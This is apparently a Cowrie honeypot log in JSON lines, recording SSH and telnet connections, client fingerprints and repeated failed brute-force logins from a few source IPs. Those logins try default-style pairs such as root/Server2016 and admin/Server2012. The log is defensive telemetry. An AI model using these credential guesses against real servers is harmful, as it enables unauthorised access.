{"eventid":"cowrie.login.failed","username":"admin","password":"Server2012","message":"login attempt [admin/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:14.822217Z","src_ip":"81.91.233.66","session":"8fb0ffd57033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:15.311518Z","src_ip":"81.91.233.66","session":"8fb0ffd57033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":59308,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e20aff934c0","protocol":"ssh","message":"New connection: 81.91.233.66:59308 (10.17.0.5:22) [session: 0e20aff934c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:15.566852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:15.573590Z","src_ip":"81.91.233.66","session":"0e20aff934c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:15.819480Z","src_ip":"81.91.233.66","session":"0e20aff934c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2012","message":"login attempt [user/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:16.836788Z","src_ip":"81.91.233.66","session":"0e20aff934c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:17.328534Z","src_ip":"81.91.233.66","session":"0e20aff934c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":59432,"dst_ip":"10.17.0.5","dst_port":22,"session":"eca9603aa9f4","protocol":"ssh","message":"New connection: 81.91.233.66:59432 (10.17.0.5:22) [session: eca9603aa9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:17.592974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:17.596852Z","src_ip":"81.91.233.66","session":"eca9603aa9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:17.844950Z","src_ip":"81.91.233.66","session":"eca9603aa9f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2012","message":"login attempt [user2/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:18.873526Z","src_ip":"81.91.233.66","session":"eca9603aa9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:19.364281Z","src_ip":"81.91.233.66","session":"eca9603aa9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":59546,"dst_ip":"10.17.0.5","dst_port":22,"session":"2996cedf0907","protocol":"ssh","message":"New connection: 81.91.233.66:59546 (10.17.0.5:22) [session: 2996cedf0907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:19.631020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:19.637562Z","src_ip":"81.91.233.66","session":"2996cedf0907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:19.888791Z","src_ip":"81.91.233.66","session":"2996cedf0907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2016","message":"login attempt [root/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:20.928535Z","src_ip":"81.91.233.66","session":"2996cedf0907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:21.416007Z","src_ip":"81.91.233.66","session":"2996cedf0907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":59665,"dst_ip":"10.17.0.5","dst_port":22,"session":"d32f8ea164c5","protocol":"ssh","message":"New connection: 81.91.233.66:59665 (10.17.0.5:22) [session: d32f8ea164c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:21.683781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:21.687807Z","src_ip":"81.91.233.66","session":"d32f8ea164c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:21.940100Z","src_ip":"81.91.233.66","session":"d32f8ea164c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2016","message":"login attempt [admin/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:22.984233Z","src_ip":"81.91.233.66","session":"d32f8ea164c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":41112,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e4522cc30b1","protocol":"ssh","message":"New connection: 91.92.40.4:41112 (10.17.0.5:22) [session: 2e4522cc30b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.344822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.360471Z","src_ip":"91.92.40.4","session":"2e4522cc30b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.430936Z","src_ip":"91.92.40.4","session":"2e4522cc30b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.463641Z","src_ip":"81.91.233.66","session":"d32f8ea164c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":59792,"dst_ip":"10.17.0.5","dst_port":22,"session":"e68842723af7","protocol":"ssh","message":"New connection: 81.91.233.66:59792 (10.17.0.5:22) [session: e68842723af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.718757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.722869Z","src_ip":"81.91.233.66","session":"e68842723af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.750241Z","src_ip":"91.92.40.4","session":"2e4522cc30b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:23.969973Z","src_ip":"81.91.233.66","session":"e68842723af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:24.833784Z","src_ip":"91.92.40.4","session":"2e4522cc30b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2016","message":"login attempt [user/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:24.989867Z","src_ip":"81.91.233.66","session":"e68842723af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34834,"dst_ip":"159.203.135.109","dst_port":23,"session":"7756757b85b7","protocol":"telnet","message":"New connection: 170.64.224.25:34834 (159.203.135.109:23) [session: 7756757b85b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:25.378760Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:25.474969Z","src_ip":"81.91.233.66","session":"e68842723af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":59919,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b2997a5063","protocol":"ssh","message":"New connection: 81.91.233.66:59919 (10.17.0.5:22) [session: c6b2997a5063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:25.735464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:25.740071Z","src_ip":"81.91.233.66","session":"c6b2997a5063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:25.988178Z","src_ip":"81.91.233.66","session":"c6b2997a5063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:26.304660Z","src_ip":"8.210.75.243","session":"8d958da57cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2016","message":"login attempt [user2/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:27.009506Z","src_ip":"81.91.233.66","session":"c6b2997a5063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:27.493068Z","src_ip":"81.91.233.66","session":"c6b2997a5063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60049,"dst_ip":"10.17.0.5","dst_port":22,"session":"427828e94c59","protocol":"ssh","message":"New connection: 81.91.233.66:60049 (10.17.0.5:22) [session: 427828e94c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:27.766549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:27.771204Z","src_ip":"81.91.233.66","session":"427828e94c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:28.026658Z","src_ip":"81.91.233.66","session":"427828e94c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2019","message":"login attempt [root/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:29.075245Z","src_ip":"81.91.233.66","session":"427828e94c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46624,"dst_ip":"159.203.135.109","dst_port":23,"session":"39aad31a80bb","protocol":"telnet","message":"New connection: 170.64.224.25:46624 (159.203.135.109:23) [session: 39aad31a80bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:29.340087Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:29.563716Z","src_ip":"81.91.233.66","session":"427828e94c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60157,"dst_ip":"10.17.0.5","dst_port":22,"session":"f85fe3a14550","protocol":"ssh","message":"New connection: 81.91.233.66:60157 (10.17.0.5:22) [session: f85fe3a14550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:29.818682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:29.822478Z","src_ip":"81.91.233.66","session":"f85fe3a14550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:30.069293Z","src_ip":"81.91.233.66","session":"f85fe3a14550","protocol":"ssh"}
